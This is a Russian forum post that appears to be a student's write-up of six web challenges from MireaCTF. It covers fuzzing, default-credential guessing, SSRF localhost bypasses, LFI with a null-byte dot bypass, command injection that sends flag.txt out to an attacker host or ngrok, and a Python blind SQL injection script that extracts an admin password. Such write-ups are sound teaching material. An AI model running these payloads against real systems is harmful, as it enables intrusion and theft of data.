HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.11.2023, 01:00
Местный
Новичок
Регистрация: 07.07.2023
Сообщений: 0
С нами: 1504446

Репутация: 0
По умолчанию

Всех приветствую! Решил написать короткий райтап по MireaCTF - это соревнования только для студентов. Пишу райтап только по веб таскам.
1 ТАСК
Я решал этот таск хитрым способом. Конечно, стоило бы сначала пофаззить сайт без авторизации, а потом указав куки в фаззер снова пофаззить, чтобы найти скрытые директории, возможно какие-то креды/конфиг файлы и т.д. Мне было настолько лень, что я начал ручками перебирать стандартные креды ака admin:admin, 1:1, admin:123, 123:123. В итоге креды 1:1 подошли и меня перекинуло на главную страничку магазина.



Тут мы видим список товаров и цену. А также наш балик 50$. Я уже знал примерно, что делать, дело в том, что когда я еду в вуз я стараюсь читать райтапы по уязвимостям, чтобы быть в тренде Мой товарищ сWAPT написал неплохую статью на тему Race Condition
Я ее прочитал и думаю... Где мой промокод, ёлки-палки. Я не смогу воспользоваться этой уязвимостью, ведь у меня нет промо... Я ленивый. Поэтому просмотрел исходник таска(стили/js файлы/комментарии) и ничего не нашел. Стал думать еще ленивее На платформе MireaCTF был список команд, которые уже решили этот таск. Я подумал, что найдется такой же ленивый человек, как и я (не математик) и "набрутит" себе очень много $ на аккаунт, больше, чем 1337 чтобы хватило на покупку флага несколько раз. А раз он ленивый, то и креды создаст простые. В итоге на учетке 123:123 был балик, который подошел под покупку флага и я сдал флаг. Ну это смешно, просто повезло. На деле таск решается вот так:
1) Фаззим ресурс:

Bash:


Код:
dirb https://task.com
>>
~/Desktop/file.txt
#Первоначальный этап
feroxbuster -u https://task.com -w /ПУТЬ/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -d
2
--force-recursion -x txt,php,html
dirb нашел /.git/HEAD (CODE:200|SIZE:22)
feroxbuster не нашел .git с мидл словаря, т.к



Его попросту нет. В дефолтном тоже нет. Он есть в common.txt.

Bash:


Код:
/usr/share/dirb/wordlists/common.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
Так что в первую очередь используем common словарик, чтобы начать "точку" входа, а далее перекинуть все линки в feroxbuster, т.к там есть режим parallel сканирования. Сразу скажу, что я не профессионал и вы можете меня поправлять, я лишь рассказываю про решение свой команды.
В file.txt у нас хранятся первоначальные линки, которые мы будем прокидывать в feroxbuster и рекурсивно фаззить. Переходим в документацию feroxbuster
Переходим в примеры использования и находим Parallel Scans

Bash:


Код:
cat
large-target-list
|
./feroxbuster --stdin --parallel
10
--extract-links --auto-bail
Вот пример нам дали. Теперь берем наши линки и создаем команду со словариком. Ток линки надо от мусора очистить:



У меня после очистки осталось 3 линка. Берем их и сохраняем.

Bash:


Код:
cat
file.txt
|
feroxbuster --stdin --parallel
3
--extract-links --auto-bail
--auto-bail = Automatically stop scanning when an excessive amount of errors are encountered
https://task.com/.git/description полученный линк. Там и хранится промокод:



"CAPYDISCOUNT". Дальше используем метод из той статьи, что я скинул.
2 ТАСК



Перехватываем запрос и видим кук invite=md5(false) = нас не пускают из-за этого кука.







после замены кука с md5(false) на md5(true) нас впустили



В этот раз включаем перехватчик и следуем(forward)



Видим параметр URL.



Кроме гифки больше ничего нет. Подставляем в url http://localhost и забираем флаг. Вопрос к профи, почему нам отдался флаг? В чем тут идея?



Если что вместо http://localhost мы можем использовать http://0.0, http://127.0.0.1,http://127.1 и т.д. Вот список обхода локалхоста:

wordlists/localhost-bypass.txt at main · oxgreyhound/wordlists

My personal wordlists from WebApp Hacking and Bug Bounty. - oxgreyhound/wordlists

github.com


3 ТАСК



Просто есть вот такой вот лендинг. И смена языков странички (en, ru, de, es). Поменяем к примеру на ru. Появился get параметр lan. Подставим туда тестовую полезную нагрузку, где текст разделяется точками и заметим, что точки удаляются.



Попробуем загуглить lfi payload и подставив



Мы ничего не получаем...
Почему мы вводим /../ n-ое количество раз? Я так полагаю, что мы находимся условно вот тут: /var/www/html/index.html
А как перейти в etc/passwd. Для этого нужно откатиться назад.



Если не прокатывает, то увеличиваем. Способ забайпассить точки с помощью нулевого байта. Этот метод мне подсказал товарищ:



Это работает! Кстати где-нибудь обсуждался bypass dot (точек). Я читал не находил этот способ, когда нулевый байт встраивается между точек.



4 ТАСК
Этот таск практически никто не решил. Потому что у студентов не хватило деняк на белый адрес)



RCE-Remote code execution - удалённое внедрение кода на сервере. Обратные кавычки обозначают, что эту команду надо исполнить. 15***** - это наша атакующая машина с которой читаем файл flag.txt.
Или можно через ngrok
https://ngrok-address?q=`base64 flag.txt | tr -d "\n"`
Или Burp Collaborator
5 ТАСК
Регистрируем учетку и входим, далее перехватываем страничку. И видим куки:







Сайт по-разному реагирует на две разные полезные нагрузки, а значит скуля есть. Welcome на страничке = true, если welcome не найден, то false.
SQLMAP не смог найти скулю. Поэтому был написан эксплоит:

Python:


Код:
from
requests
import
Session
from
bs4
import
BeautifulSoup
import
requests
import
string

host
=
'http://localhost:8000'
wordlist
=
string
.
ascii_lowercase
+
string
.
digits
def
brute
(
)
:
password
=
''
for
i
in
range
(
1
,
45
)
:
for
symbol
in
wordlist
:
req
=
f"ergerger' OR SUBSTRING((SELECT password FROM users_info WHERE username = 'admin'),{i}, 1) = '{symbol}"
r
=
requests
.
get
(
host
,
cookies
=
{
"username"
:
req
}
)
if
'Welcome'
in
r
.
text
:
print
(
f"{symbol}char is found"
)
password
+=
symbol
return
password
if
__name__
==
'__main__'
:
print
(
brute
(
)
)
Вопрос к экспертам. Как подружить данную скулю с sqlmap. Почему sqlmap -r file.txt (* в cookie) --technique=B --dbms=MySql --prefix="'" (пробовал с и без) --level=5 --risk=3.



6 ТАСК



Фаззим и находит /backup/backup.zip. Скачиваем и смотрим содержимое



/images_secret/flag.txt вот такой путь до флага. Попробуем его прочитать на сервере.



Жалко. Тогда попробуем глянуть конфиг. файлы.



/img=/var/images
Читаем флаг
/img_secret/flag.txt



Это называется nginx misconfig. Почему мы смогли прочитать файл я не знаю, потому что я никогда не создавал свои веб ресурсы и понимаю всех этих тонкостей конфигураций сервера. Будет здорово, если опытные люди подскажут. Если что флагами светить имею полное право, т.к первый этап MireaCTF уже завершился.

 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.